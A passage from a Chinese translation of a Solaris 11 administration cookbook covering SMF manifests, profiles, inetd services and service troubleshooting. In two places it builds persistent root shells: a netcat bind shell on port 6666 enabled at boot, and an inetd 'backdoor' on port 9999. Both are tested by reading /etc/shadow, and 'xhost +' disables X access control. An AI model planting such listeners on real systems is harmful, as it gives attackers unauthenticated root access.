        <value_node value='solaris.smf.manage.audit' />
        <value_node value='solaris.smf.value.audit' />
     </astring_list>
    </property>
    <propval name='value_authorization' type='astring'
      value='solaris.smf.value.audit' />
  </property_group>

  <property_group name='audit_remote' type='plugin' >
    <propval name='active' type='boolean'
      value='false' />
    <propval name='path' type='astring'
      value='audit_remote.so' />
    <propval name='qsize' type='count'
      value='0' />
    <propval name='p_hosts' type='astring'
      value='' />
    <propval name='p_retries' type='count'
      value='3' />
    <propval name='p_timeout' type='count'
      value='5' />
    <property name='read_authorization' type='astring'>
      <astring_list>
        <value_node value='solaris.smf.manage.audit' />
        <value_node value='solaris.smf.value.audit' />
      </astring_list>
    </property>
    <propval name='value_authorization' type='astring'
      value='solaris.smf.value.audit' />
  </property_group>

  </instance>

  <stability value='Evolving' />

  <template>
    <common_name>
      <loctext xml:lang='C'>
        Solaris audit daemon
      </loctext>
    </common_name>
    <documentation>
      <manpage title='auditd'
        section='1M'
        manpath='/usr/share/man'/>
      <manpage title='audit'
        section='1M'
        manpath='/usr/share/man'/>
      <manpage title='auditconfig'
        section='1M'
        manpath='/usr/share/man'/>
      <manpage title='audit_flags'
        section='5'
        manpath='/usr/share/man'/>
      <manpage title='audit_binfile'
        section='5'
        manpath='/usr/share/man'/>
      <manpage title='audit_syslog'
        section='5'
        manpath='/usr/share/man'/>
      <manpage title='audit_remote'
        section='5'
        manpath='/usr/share/man'/>
           </documentation>
  </template>

</service>

</service_bundle>

这个清单(auditd.xml)包含几个在其他清单中也会出现的常见元素。关键元素如下所示:

  • service_bundle:这是auditd守护进程的包名称

  • service:这是服务的名称(system/auditd

  • dependency:这决定了auditd依赖哪些服务

  • dependent:这决定了哪些服务依赖于auditd

  • exec_method:这是 SMF 如何启动、停止、重启和刷新auditd守护进程

  • property_group:这些是来自auditd服务及其实例的属性

  • template:这决定了关于auditd服务的可用信息及其所在位置

  • manpage:这决定了与auditd服务相关的 man 页面

配置文件是一个 XML 配置文件,在 Oracle Solaris 11 安装后的第一次系统启动时应用,在此过程中可以自定义将初始化哪些服务和实例。以下是一个目录列表:

root@solaris11-1:~# cd /etc/svc/profile/
root@solaris11-1:/etc/svc/profile# ls -al
total 81
drwxr-xr-x   3 root     sys           17 Dec 23 18:56 .
drwxr-xr-x   3 root     sys           15 Mar  4 02:49 ..
-r--r--r--   1 root     sys        12262 Sep 19  2012 generic_limited_net.xml
-r--r--r--   1 root     sys         6436 Sep 19  2012 generic_open.xml
lrwxrwxrwx   1 root     staff         23 Dec 23 18:56 generic.xml -> generic_limited_net.xml
-r--r--r--   1 root     sys         2581 Sep 19  2012 inetd_generic.xml
lrwxrwxrwx   1 root     staff         17 Dec 23 18:56 inetd_services.xml -> inetd_generic.xml
-r--r--r--   1 root     sys          713 Sep 19  2012 inetd_upgrade.xml
lrwxrwxrwx   1 root     staff         10 Dec 23 18:56 name_service.xml -> ns_dns.xml
-r--r--r--   1 root     sys          571 Sep 19  2012 ns_dns.xml
-r--r--r--   1 root     sys          478 Sep 19  2012 ns_files.xml
-r--r--r--   1 root     sys          713 Sep 19  2012 ns_ldap.xml
-r--r--r--   1 root     sys          832 Sep 19  2012 ns_nis.xml
-r--r--r--   1 root     sys         1673 Sep 19  2012 ns_none.xml
-r--r--r--   1 root     sys          534 Sep 19  2012 platform_none.xml
lrwxrwxrwx   1 root     root          17 Dec 23 18:41 platform.xml -> platform_none.xml
drwxr-xr-x   2 root     sys            3 Dec 23 18:56 site

尽管有多个清单,但其中有两个最为重要:generic.xml,它启用所有标准服务,以及generic_limited_net.xml,它禁用大多数互联网服务,除了ssh服务和一些其他远程服务。后者的清单如下:

root@solaris11-1:/etc/svc/profile# more generic_limited_net.xml
<?xml version='1.0'?>
(truncated output)
  <!--
      svc.startd(1M) services
  -->
  <service name='system/coreadm' version='1' type='service'>
    <instance name='default' enabled='true'/>
  </service>
  <service name='system/cron' version='1' type='service'>
    <instance name='default' enabled='true'/>
  </service>
  <service name='system/cryptosvc' version='1' type='service'>
    <instance name='default' enabled='true'/>
  </service>

(truncated output)

<service name='network/ssh' version='1' type='service'>
    <instance name='default' enabled='true'/>
  </service>

(truncated output)

可以通过不同的方法配置服务并自定义其行为;此外,了解 SMF 框架从哪里读取服务属性非常重要。因此,SMF 收集服务属性的目录和文件如下:

  • manifest:这从/lib/svc/manifest/var/svc/manifest目录获取属性

  • site-profile:这从/etc/svc/profile/site目录或/etc/svc/profile/下的site.xml配置文件获取属性

配方概述

在这一部分,你了解了很多关于配置文件和清单的细节,例如它们的元素和可用类型。所有这些概念将在下一部分中部署。

创建 SMF 服务

这次,我们要在 Oracle Solaris 11 中创建一个新服务,所选应用程序是 gedit,这是一个图形化编辑器。显然,我们可以使用任何应用程序展示相同的过程,只需进行必要的更改以适应这个示例。

准备就绪

这个配方需要一个安装了 Oracle Solaris 11 并且有 4 GB 内存的虚拟机(VirtualBox 或 VMware)。

如何操作...

第一步是创建一个脚本,启动和停止我们感兴趣的应用程序。/lib/svc/method目录下有多个脚本,我们可以使用其中一个作为模板,但我使用了一个非常基础的模板,如下所示:

root@solaris11-1:~/chapter5# vi gedit_script.sh 
#!/sbin/sh
. /lib/svc/share/smf_include.sh
case "$1" in 
'start')
DISPLAY=:0.0
export DISPLAY
/usr/bin/gedit &
;;
'stop')
pkill -x -u 0 gedit
;;
*)
echo $"Usage: $0 {start|stop}"
exit 1
;;

esac
exit $SMF_EXIT_OK

这个脚本简单且有效,但我们需要更改其权限,并将其复制到/lib/svc/目录下的method目录,这是服务脚本的默认位置。可以通过以下方式完成此任务:

root@solaris11-1:~/chapter5# chmod u+x gedit_script.sh 
root@solaris11-1:~/chapter5# more gedit_script.sh

在下一步中,我们将创建一个清单,但由于从头开始创建非常复杂,我们可以从另一个现有服务获取一个清单并将其复制到主目录中。然后,我们需要做适当的修改以使其适应我们的目标,如下所示:

root@solaris11-1:~# cp /lib/svc/manifest/system/cron.xml /root/chapter5/gedit_script_Manifest.xml
root@solaris11-1:~# cd /root/chapter5
root@solaris11-1:~/chapter5# vi gedit_script_Manifest.xml
<?xml version="1.0"?>
<!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1">
<!--
 Copyright 2009 Sun Microsystems, Inc.  All rights reserved.
 Use is subject to license terms.

    NOTE:  This service manifest is not editable; its contents will
    be overwritten by package or patch operations, including
    operating system upgrade.  Make customizations in a different
    file.
-->

<service_bundle type='manifest' name='gedit_script'>

<service
  name='application/gedit_script'
  type='service'
  version='1'>

  <single_instance />

  <dependency
    name='milestone'
    type='service'
    grouping='require_all'
    restart_on='none'>
 <service_fmri value='svc:/milestone/multi-user' />
  </dependency>

  <exec_method
    type='method'
    name='start'
    exec='/lib/svc/method/gedit_script.sh start'
 timeout_seconds='120'>
    <method_context>
      <method_credential user='root' group='root' />
    </method_context>
  </exec_method>

  <exec_method
    type='method'
    name='stop'
    exec='/lib/svc/method/gedit_script.sh stop'
 timeout_seconds='120'>
  </exec_method>

  <property_group name='startd' type='framework' >
 <propval name='duration' type='astring' value='transient' />
 </property_group>

  <instance name='default' enabled='false' />

  <stability value='Unstable' />

  <template>
    <common_name>
      <loctext xml:lang='C'>
      graphical editor (gedit)
      </loctext>
    </common_name>
    <documentation>
 <manpage title='gedit' section='1' manpath='/usr/share/man' />
    </documentation>
  </template>
</service>

</service_bundle>

这是一个很长的 XML 文件,但很简单。有些地方需要解释:

  • 服务名称是gedit_script,如下行所示:

    name='application/gedit_script'
    
  • 服务依赖于milestone多用户,如下片段所示:

    <dependency
        name='milestone'
        type='service'
        grouping='require_all'
        restart_on='none'>
        <service_fmri value='svc:/milestone/multi-user' />
    </dependency>
    
  • 启动和停止服务的时间限制是120秒,如下片段所示:

    <exec_method
        type='method'
        name='start'
        exec='/lib/svc/method/gedit_script.sh start'
     timeout_seconds='120'>
        <method_context>
          <method_credential user='root' group='root' />
        </method_context>
      </exec_method>
    <exec_method
        type='method'
        name='stop'
        exec='/lib/svc/method/gedit_script.sh stop'
     timeout_seconds='120'>
      </exec_method>
    
  • <property_group>部分将服务配置为旧的服务类型(transient),以防止如果gedit_script服务失败,SMF 会自动重启它,如下片段所示:

    <property_group name='startd' type='framework' >
      <propval name='duration' type='astring' value='transient' />
      </property_group>
    
  • 服务的默认状态是禁用的,如以下行所示:

    <instance name='default' enabled='false' />
    

在尝试导入此清单之前,必须验证是否存在语法错误。因此,请执行以下命令:

root@solaris11-1:~/chapter5# svccfg validate gedit_script_Manifest.xml

到目前为止,一切听起来不错。因此,我们可以通过运行以下命令将清单导入到存储库中:

root@solaris11-1:~/chapter5# svccfg import gedit_script_Manifest.xml

注意

之前的命令是一个关键命令,因为每次修改清单时,都必须运行该命令以更新存储库中的新配置。

如果没有错误,服务应该会出现在其他服务中,如下所示:

root@solaris11-1:~/chapter5# svcs -a | grep gedit
disabled        3:50:02 svc:/application/gedit_script:default

太好了!现在是时候启动服务了,执行第二个命令后,gedit 编辑器(图形化编辑器)必须启动(记住,我们已经创建了一个名为gedit_script.sh的脚本来启动gedit编辑器):

root@solaris11-1:~# xhost +
access control disabled, clients can connect from any host
root@solaris11-1:~# svcadm enable svc:/application/gedit_script:default
root@solaris11-1:~# svcs -a | grep gedit
online         15:03:19 svc:/application/gedit_script:default
root@solaris11-1:~#

执行以下命令可以显示此新服务的属性:

root@solaris11-1:~# svcprop svc:/application/gedit_script:default
general/complete astring 
general/enabled boolean false
general/entity_stability astring Unstable
general/single_instance boolean true
milestone/entities fmri svc:/milestone/multi-user
milestone/grouping astring require_all
milestone/restart_on astring none
milestone/type astring service
manifestfiles/root_chapter5_gedit_script_Manifest_xml astring /root/chapter5/gedit_script_Manifest.xml
startd/duration astring transient
start/exec astring /lib/svc/method/gedit_script.sh\ start
start/group astring root
start/timeout_seconds count 120
start/type astring method
start/use_profile boolean false
start/user astring root
stop/exec astring /lib/svc/method/gedit_script.sh\ stop
stop/timeout_seconds count 120
stop/type astring method
tm_common_name/C ustring graphical\ editor\ \(gedit\)
tm_man_gedit1/manpath astring /usr/share/man
tm_man_gedit1/section astring 1
tm_man_gedit1/title astring gedit
restarter/logfile astring /var/svc/log/application-gedit_script:default.log
restarter/start_pid count 8097
restarter/start_method_timestamp time 1394042599.387615000
restarter/start_method_waitstatus integer 0
restarter/transient_contract count 
restarter/auxiliary_state astring dependencies_satisfied
restarter/next_state astring none
restarter/state astring online
restarter/state_timestamp time 1394042599.397622000
restarter_actions/refresh integer 
restarter_actions/auxiliary_tty boolean true
restarter_actions/auxiliary_fmri astring svc:/application/graphical-login/gdm:default

要列出与gedit_script服务相关的环境变量,请执行以下命令:

root@solaris11-1:~# pargs -e `pgrep -f gedit_script`
7919:  tail -f /var/svc/log/application-gedit_script:default.log
envp[0]: ORBIT_SOCKETDIR=/var/tmp/orbit-root
envp[1]: SSH_AGENT_PID=6312
envp[2]: TERM=xterm
envp[3]: SHELL=/usr/bin/bash
envp[4]: XDG_SESSION_COOKIE=f8114f3c252db0743fd58c3e0000009e-1394035066.410005-1956267226
envp[5]: GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
envp[6]: WINDOWID=31457283
(truncated output)

最后,要停止gedit_script服务并验证一切是否按预期发生,请执行以下命令:

root@solaris11-1:~# svcadm disable gedit_script
root@solaris11-1:~# svcs -a | grep gedit
disabled       15:26:35 svc:/application/gedit_script:default

太棒了!一切正常!现在让我们来谈谈配置文件。

配置文件也非常重要,它们决定了在启动过程中哪些服务将被启动。因此,适当调整它们以仅启动必要的服务是合理的,这有助于减少黑客攻击面。

以下步骤将创建一个新服务(比gedit_script服务更有趣),使用强大的netcat工具(nc)。这些步骤与之前使用的步骤相同。为了回顾,请参考以下步骤:

  1. 创建一个脚本。

  2. 使其可执行。

  3. 将其复制到/lib/svc/method

  4. 为该服务创建一个清单。

  5. 验证清单。

  6. 导入清单。

  7. 列出服务。

  8. 启动服务。

  9. 测试服务。

  10. 停止服务。

以下是创建新服务的命令顺序。根据我们之前的步骤,第一步是创建一个启动和停止服务的脚本,如下所示:

root@solaris11-1:~/chapter5# vi netcat.sh
#!/sbin/sh
. /lib/svc/share/smf_include.sh

case "$1" in 
'start')
/usr/bin/nc -D -d -l -p 6666 -e /sbin/sh &
;;
'stop')
pkill -x -u 0 netcat
;;
*)
echo $"Usage: $0 {start/stop}"
exit 1
;;
esac
exit $SMF_EXIT_OK

授予脚本执行权限,并将其复制到包含其他现有服务脚本的适当目录,如下所示:

root@solaris11-1:~/chapter5# chmod u+x netcat.sh
root@solaris11-1:~/chapter5# cp netcat.sh /lib/svc/method/

下一步是为该服务(netcat)创建一个清单。从现有服务复制清单并进行调整会更容易,如下所示:

root@solaris11-1:~/chapter5# vi netcat_manifest.xml
<?xml version="1.0"?>
<!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1">
<!--
 Copyright 2009 Sun Microsystems, Inc.  All rights reserved.
 Use is subject to license terms.

    NOTE:  This service manifest is not editable; its contents will
    be overwritten by package or patch operations, including
    operating system upgrade.  Make customizations in a different
    file.
-->

<service_bundle type='manifest' name='netcat'>

<service
  name='application/netcat'
  type='service'
  version='1'>

  <single_instance />

  <dependency
    name='milestone'
    type='service'
    grouping='require_all'
    restart_on='none'>
    <service_fmri value='svc:/milestone/multi-user' />
  </dependency>

  <exec_method
    type='method'
    name='start'
    exec='/lib/svc/method/netcat.sh start'
    timeout_seconds='120'>
    <method_context>
      <method_credential user='root' group='root' />
    </method_context>
  </exec_method>

  <exec_method
    type='method'
    name='stop'
    exec='/lib/svc/method/netcat.sh stop'
    timeout_seconds='120'>
  </exec_method>

  <property_group name='startd' type='framework' >
  <propval name='duration' type='astring'  value='transient' />
  </property_group>

  <instance name='default' enabled='false' />

  <stability value='Unstable' />

  <template>
    <common_name>
      <loctext xml:lang='C'>
      hacker tool (nc)
      </loctext>
    </common_name>
    <documentation>
      <manpage title='nc' section='1' manpath='/usr/share/man' />
    </documentation>
  </template>
</service>

</service_bundle>

在继续之前,我们需要验证netcat_manifest.xml清单,完成此步骤后,可以将清单导入到服务库中,命令如下所示:

root@solaris11-1:~/chapter5# svccfg validate netcat_manifest.xml
root@solaris11-1:~/chapter5# svccfg import netcat_manifest.xml

为了验证服务是否已正确导入,请通过运行以下命令检查它是否出现在 SMF 服务列表中:

root@solaris11-1:~/chapter5# svcs -a | grep netcat
disabled       18:56:09 svc:/application/netcat:default
root@solaris11-1:~/chapter5# svcadm enable svc:/application/netcat:default
root@solaris11-1:~/chapter5# svcs -a | grep netcat
online         19:14:17 svc:/application/netcat:default

若要收集关于netcat服务的其他详细信息,请执行以下命令:

root@solaris11-1:~/chapter5# svcs -l svc:/application/netcat:default
fmri         svc:/application/netcat:default
name         hacker tool (nc)
enabled      true
state        online
next_state   none
state_time   March  5, 2014 07:14:17 PM BRT
logfile      /var/svc/log/application-netcat:default.log
restarter    svc:/system/svc/restarter:default
contract_id  
manifest     /root/chapter5/netcat_manifest.xml
dependency   require_all/none svc:/milestone/multi-user (online)

root@solaris11-1:~/chapter5# svcs -xv svc:/application/netcat:default
svc:/application/netcat:default (hacker tool (nc))
 State: online since March  5, 2014 07:14:17 PM BRT
   See: man -M /usr/share/man -s 1 nc
   See: /var/svc/log/application-netcat:default.log
Impact: None.

可以通过运行以下命令检查特定的netcat 服务日志,查看是否存在任何问题:

root@solaris11-1:~/chapter5# tail -f /var/svc/log/application-netcat:default.log
(truncated output)
[ Mar  5 19:14:16 Enabled. ]
[ Mar  5 19:14:17 Executing start method ("/lib/svc/method/netcat.sh start"). ]
[ Mar  5 19:14:17 Method "start" exited with status 0\. ]

为了测试我们的新服务是否真的有效,请运行以下命令:

root@solaris11-1:~/chapter5# nc localhost 6666
pwd
/root
cd /
pwd
/
cat /etc/shadow
root:$5$oXrpLA3o$UTJJeO.MfjlTBGzJI.yzhHvqhvW.xUWBknpCKHRvP79:16131::::::22560
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
(truncated output)

这太棒了!

我们需要通过执行以下命令检查netcat服务是否能够适当地停止:

root@solaris11-1:~/chapter5# svcadm disable netcat
root@solaris11-1:~/chapter5# svcs -a | grep netcat
disabled       19:27:14 svc:/application/netcat:default

服务的日志文件有助于检查服务状态,如下所示:

root@solaris11-1:~/chapter5# tail -f /var/svc/log/application-netcat:default.log
 [ Mar  5 19:14:16 Enabled. ]
[ Mar  5 19:14:17 Executing start method ("/lib/svc/method/netcat.sh start"). ]
[ Mar  5 19:14:17 Method "start" exited with status 0\. ]
^X[ Mar  5 19:27:14 Stopping because service disabled. ]
[ Mar  5 19:27:14 Executing stop method ("/lib/svc/method/netcat.sh stop"). ]
[ Mar  5 19:27:14 Method "stop" exited with status 0\. ]

到目前为止一切正常!下一步是提取当前活动的 SMF 配置文件并对其进行修改,以便现在和系统启动时都能启用netcat服务(<create_default_instance enabled='true'/>)。为此,请执行以下命令:

root@solaris11-1:~/chapter5# svccfg extract > myprofile.xml
root@solaris11-1:~/chapter5# vi myprofile.xml
<?xml version='1.0'?>
<!DOCTYPE service_bundle SYSTEM '/usr/share/lib/xml/dtd/service_bundle.dtd.1'>
<service_bundle type='profile' name='profile'>

(truncated output)

<service name='application/netcat' type='service' version='0'>
    <create_default_instance enabled='true'/>
    <single_instance/>
    <dependency name='milestone' grouping='require_all' restart_on='none' type='service'>
      <service_fmri value='svc:/milestone/multi-user'/>
    </dependency>
    <exec_method name='start' type='method' exec='/lib/svc/method/netcat.sh start' timeout_seconds='120'>
      <method_context>
        <method_credential user='root' group='root'/>
      </method_context>
    </exec_method>
    <exec_method name='stop' type='method' exec='/lib/svc/method/netcat.sh stop' timeout_seconds='120'/>
    <property_group name='startd' type='framework'>
      <propval name='duration' type='astring' value='transient'/>
    </property_group>
    <stability value='Unstable'/>
    <template>
      <common_name>
        <loctext xml:lang='C'>hacker tool (nc)</loctext>
      </common_name>
      <documentation>
        <manpage title='nc' section='1' manpath='/usr/share/man'/>
      </documentation>
    </template>

必须再次重复导入和验证的过程(这次是针对配置文件),可以通过执行以下命令来完成:

root@solaris11-1:~/chapter5# svccfg validate myprofile.xml
root@solaris11-1:~/chapter5# svccfg import my profile.xml

通过执行以下命令再次检查netcat服务的状态:

root@solaris11-1:~/chapter5# svcs -a | grep netcat
online         19:52:18 svc:/application/netcat:default

这简直难以置信!netcat 服务在配置文件中被配置为enabled,并且已被置于online状态。如果我们重启系统,将看到如下输出:

root@solaris11-1:~# svcs -a | grep netcat
online         20:02:50 svc:/application/netcat:default
root@solaris11-1:~# svcs -l netcat
fmri         svc:/application/netcat:default
name         hacker tool (nc)
enabled      true
state        online
next_state   none
state_time   March  5, 2014 08:02:50 PM BRT
logfile      /var/svc/log/application-netcat:default.log
restarter    svc:/system/svc/restarter:default
manifest     /root/chapter5/netcat_manifest.xml
manifest     /root/chapter5/myprofile.xml
dependency   require_all/none svc:/milestone/multi-user (online)

输出中会显示两个 XML 文件(清单和配置文件)。

配方概览

通过执行所有常规步骤,如创建启动/停止脚本、创建清单、导入并运行服务,创建了一个新服务。此外,你还学会了如何自动修改配置文件,以便在 Oracle Solaris 11 的启动阶段启动服务。

管理 inetd 控制的网络服务

在 Oracle Solaris 11 中,有些服务不属于 SMF 管理范畴,它们由另一个(且较旧的)守护进程:inetd 控制。Inetd 是这些网络服务的官方重启器,在我们管理这些服务的过程中,完成所有任务的主要命令是inetadm。现在是时候看看它是如何工作的了。

准备工作

该过程需要一台运行 Oracle Solaris 11 并且内存为 4GB 的虚拟机(可以使用 VirtualBox 或 VMware)。

如何操作…

最初,有一些有趣的服务可以进行操作。因此,我们必须安装一个好的服务:telnet。执行以下命令:

root@solaris11-1:~# pkg install pkg://solaris/service/network/telnet

要列出现有的 inetd 服务,请执行以下命令:

root@solaris11-1:~# inetadm
ENABLED   STATE          FMRI
disabled  disabled       svc:/application/cups/in-lpd:default
disabled  disabled       svc:/application/x11/xfs:default
disabled  disabled       svc:/application/x11/xvnc-inetd:default
disabled  disabled       svc:/network/comsat:default
disabled  disabled       svc:/network/stdiscover:default
disabled  disabled       svc:/network/rpc/spray:default
enabled   online         svc:/network/rpc/smserver:default
enabled   online         svc:/network/rpc/gss:default
disabled  disabled       svc:/network/rpc/rex:default
disabled  disabled       svc:/network/nfs/rquota:default
enabled   online         svc:/network/security/ktkt_warn:default
disabled  disabled       svc:/network/stlisten:default
disabled  disabled       svc:/network/telnet:default

旧的inetd.conf仍然存在,但它已经没有任何与网络服务配置相关的内容了(所有行都被注释掉):

root@solaris11-1:~# more /etc/inet/inetd.conf
#
# Copyright 2004 Sun Microsystems, Inc.  All rights reserved.
# Use is subject to license terms.
#
#ident  "%Z%%M%  %I%  %E% SMI"
#
# Legacy configuration file for inetd(1M).  See inetd.conf(4).
#
# This file is no longer directly used to configure inetd.
# The Solaris services which were formerly configured using this file
# are now configured in the Service Management Facility (see smf(5))
# using inetadm(1M).
#
# Any records remaining in this file after installation or upgrade,
# or later created by installing additional software, must be converted
# to smf(5) services and imported into the smf repository using
# inetconv(1M), otherwise the service will not be available.  Once
# a service has been converted using inetconv, further changes made to
# its entry here are not reflected in the service.
#

要收集关于刚刚安装的telnet服务的更多详细信息,必须执行以下命令:

root@solaris11-1:~# inetadm -l svc:/network/telnet:default
SCOPE    NAME=VALUE
         name="telnet"
         endpoint_type="stream"
         proto="tcp6"
         isrpc=FALSE
         wait=FALSE
         exec="/usr/sbin/in.telnetd"
         user="root"
default  bind_addr=""
default  bind_fail_max=-1
default  bind_fail_interval=-1
default  max_con_rate=-1
default  max_copies=-1
default  con_rate_offline=-1
default  failrate_cnt=40
default  failrate_interval=60
default  inherit_env=TRUE
default  tcp_trace=FALSE
default  tcp_wrappers=FALSE
default  connection_backlog=10
default  tcp_keepalive=FALSE

要启用telnet服务,执行以下命令:

root@solaris11-1:~# inetadm -e svc:/network/telnet:default
root@solaris11-1:~# inetadm | grep telnet
enabled   online         svc:/network/telnet:default

由于telnet服务有多个属性,可以在故障排除会话中进行更改。例如,为了使telnet服务将所有记录日志到syslog服务中,可以执行以下命令:

root@solaris11-1:~# inetadm -m  svc:/network/telnet:default tcp_trace=true
root@solaris11-1:~# inetadm -l telnet | grep tcp_trace
         tcp_trace=TRUE

太好了!当telnet服务不再需要时,我们可以禁用它:

root@solaris11-1:~# inetadm -d svc:/network/telnet:default
root@solaris11-1:~# inetadm | grep telnet
disabled  disabled       svc:/network/telnet:default

很好!是时候在下一个示例中学习另一个非常有趣且不寻常的技巧了。

现在,我们的目标是通过在/etc/inet/下的旧inetd.conf文件中创建一个非常简单的后门服务,并将其转换为 SMF。我们该如何做呢?很简单!第一步是通过执行以下命令,在/etc/inet/下的inetd.conf文件中创建一个服务行:

root@solaris11-1:~# vi /etc/inet/inetd.conf

(truncated output)
backdoor  stream  tcp6  nowait  root  /sbin/sh  /sbin/sh -a

由于我们已经在inetd.conf文件中创建了上述行,我们必须在/etc/services文件中为该服务分配一个 TCP 端口(最后一行),可以执行以下命令:

root@solaris11-1:~# vi /etc/services
(truncated output)
backdoor  9999/tcp      # backdoor

有一个名为inetconf的命令,它可以轻松地将 INET 服务转换为 SMF 服务:

root@solaris11-1:~# inetconv
backdoor -> /lib/svc/manifest/network/backdoor-tcp6.xml
Importing backdoor-tcp6.xml ...svccfg: Restarting svc:/system/manifest-import

为了验证服务是否按照预期转换为 SMF 模型,请执行以下命令:

root@solaris11-1:~# svcs -a | grep backdoor
online         20:36:15 svc:/network/backdoor/tcp6:default

最后,为了测试后门服务是否正常工作,执行以下命令:

root@solaris11-1:~# nc localhost 9999
ls
chapter5
core
Desktop
Documents
Downloads
Public
cd /
pwd
/
grep root /etc/shadow
root:$5$oXepLA3w$UTJJeO.MfVl1BGzJI.yzhHvqhvq.xUWBknCCKHRvP79:16131::::::22560

太棒了!后门服务运行得很好!

更进一步,Oracle Solaris 11 提供了一个名为netservice的命令,它可以通过应用generic_limited_net.xml配置文件并配置某些服务的本地模式属性,打开或关闭大多数网络服务(除了ssh服务),以进行远程访问。我建议你花点时间检查一下这个配置文件。

使用 netservices 命令关闭大多数网络服务以防远程访问很简单,可以通过运行以下命令来完成:

root@solaris11-1:~# netservices limited
restarting svc:/system/system-log:default
restarting svc:/network/smtp:sendmail

要反转每个网络服务的状态(启用或禁用),请运行以下命令:

root@solaris11-1:~# netservices open
restarting svc:/system/system-log:default
restarting svc:/network/smtp:sendmail

配方概述

您学会了如何管理 inetd 服务以及如何将 inetd 服务转换为 SMF 服务。本节的主要命令是 inetadminetconv

故障排除 Oracle Solaris 11 服务

在本章的最后一部分,您将学习如何排除正在出现错误的服务,并修复损坏的仓库。

准备工作

要遵循这个步骤,您需要一台虚拟机(使用 VirtualBox 或 VMware),并安装 Oracle Solaris 11,且需要 4 GB 的 RAM。

如何操作……

管理员的主要职责是确保一切正常运行。分析系统的最佳方法是运行以下命令:

root@solaris11-1:~# svcs –xv

目前系统没有问题,但我们可以模拟一个。例如,在下一步中,我们将通过从脚本中删除一个分号来破坏 gedit_script 服务,如下所示:

root@solaris11-1:~# vi /lib/svc/method/gedit_script.sh
#!/sbin/sh
. /lib/svc/share/smf_include.sh
case "$1" in
'start')
DISPLAY=:0.0
export DISPLAY
/usr/bin/gedit &
;-----------------à Remove this semicolon!
'stop')
pkill -x -u 0 gedit
;;
*)
echo $"Usage: $0 {start|stop}"
exit 1
;;

esac
exit $SMF_EXIT_OK

为了继续操作,gedit_script 服务将被禁用并再次启用,通过执行以下命令:

root@solaris11-1:~# svcadm disable svc:/application/gedit_script:default
root@solaris11-1:~# svcs -a | grep gedit_script
disabled        0:22:13 svc:/application/gedit_script:default
root@solaris11-1:~# svcadm enable svc:/application/gedit_script:default
You have new mail in /var/mail/root
root@solaris11-1:~# svcs -a | grep gedit_script
maintenance     0:29:13 svc:/application/gedit_script:default

根据前面的三次输出,我们迅速破坏并重新启动了服务,因此它进入了维护状态。为了收集更多关于服务的信息,以便集中分析可能的原因,执行以下命令:

root@solaris11-1:~# svcs -xv svc:/application/gedit_script:default
svc:/application/gedit_script:default (graphical editor (gedit))
 State: maintenance since March  6, 2014 12:29:13 AM BRT
Reason: Start method failed repeatedly, last exited with status 3.
   See: http://support.oracle.com/msg/SMF-8000-KS
   See: man -M /usr/share/man -s 1 gedit
   See: /var/svc/log/application-gedit_script:default.log
Impact: This service is not running.

服务未运行,并且从其日志文件中可以获取更多详细信息,如下所示:

root@solaris11-1:~# tail -f /var/svc/log/application-gedit_script:default.log
[ Mar  6 00:29:13 Enabled. ]
[ Mar  6 00:29:13 Executing start method ("/lib/svc/method/gedit_script.sh start"). ]
/lib/svc/method/gedit_script.sh: line 2: syntax error at line 9: `)' unexpected
[ Mar  6 00:29:13 Method "start" exited with status 3\. ]

太棒了!Oracle Solaris 11 SMF 框架描述了错误发生的确切行号。为了修复问题,我们必须修复损坏的行(通过在我们移除分号的地方再次添加 ;)并将服务恢复到 online 状态。然后,修复语法问题后,运行以下命令:

root@solaris11-1:~# svcadm clear svc:/application/gedit_script:default
root@solaris11-1:~# svcs -a | grep gedit_script
online          0:39:12 svc:/application/gedit_script:default

完美!服务已经恢复到在线状态!

进入最后一个话题,SMF 仓库是通过 svc.configd 守护进程访问的,正是该守护进程控制对服务仓库的所有读写操作。此外,svc.configd 在启动时还会检查仓库的完整性。仓库损坏是很少见的,但确实可能发生,在这种情况下,我们可以在系统处于在线模式或维护模式(通过 sulogin 命令)时修复它。要修复仓库,请运行以下命令:

root@solaris11-1:~# /lib/svc/bin/restore_repository

查看 support.oracle.com/msg/SMF-8000-MY 以获取更多关于使用此脚本恢复 smf(5) 仓库备份副本的信息。

如果存在需要人工干预的问题,脚本将提供指示并退出到您的 shell:

/lib/svc/bin/restore_repository[71]: [: /: arithmetic syntax error
The following backups of /etc/svc/repository.db exist, from
Oldest to newest:

manifest_import-20140117_072325
boot-20140305_132432
manifest_import-20140305_170246
manifest_import-20140305_170535
boot-20140305_180217
boot-20140305_200130
manifest_import-20140305_203615
boot-20140306_005602

备份是根据其类型以及备份创建的时间来命名的。以 boot 开头的备份是在系统启动后第一次对仓库进行更改之前创建的。以 manifest_import 开头的备份是在 svc:/system/manifest-import:default 处理完成后创建的。

备份的时间格式为 YYYYMMDD_HHMMSS

请从上面的备份仓库列表中输入特定的仓库进行恢复,或选择以下选项之一:

  CHOICE      ACTION
  ----------------  ----------------------------------------------
  boot      restore the most recent post-boot backup
  manifest_import    restore the most recent manifest_import backup
  -seed-      restore the initial starting repository  (All
          customizations will be lost, including those
          made by the install/upgrade process.)
  -quit-      cancel script and quit

Enter response [boot]:

在选择选项之前,你必须了解系统中存在的仓库备份类型:

  • boot-<timestamp>:在 boot-<timestamp> 中,备份是在系统启动后但在进行任何更改之前创建的。

  • manifest_import-<timestamp>:在 manifest_import-<timestamp> 中,备份是在 svc:/system/manifest-import:default 执行后创建的。

  • --seed--:此选项恢复初始仓库。如果我们恢复这个备份,所有已做的服务或更改将丢失!

在这种情况下,我们将选择 boot 选项,如下所示:

Enter response [boot]: boot
After confirmation, the following steps will be taken:

svc.startd(1M) and svc.configd(1M) will be quiesced, if running.
/etc/svc/repository.db
    -- renamed --> /etc/svc/repository.db_old_20140306_011224
/etc/svc/repository-boot
    -- copied --> /etc/svc/repository.db 
and the system will be rebooted with reboot(1M).

Proceed [yes/no]? yes

系统重启后,系统重新上线,一切正常!

备份概览

在本章中,你学习了如何使用 svcs –xv <fmri> 查找服务错误并修复它,如何让服务重新上线(svcadm clear <fmri>),以及在极端情况下,如何使用 /lib/svc/bin/restore_repository 命令恢复仓库。

参考资料

第六章:配置和使用自动化安装器(AI)服务器

在本章中,我们将涵盖以下主题:

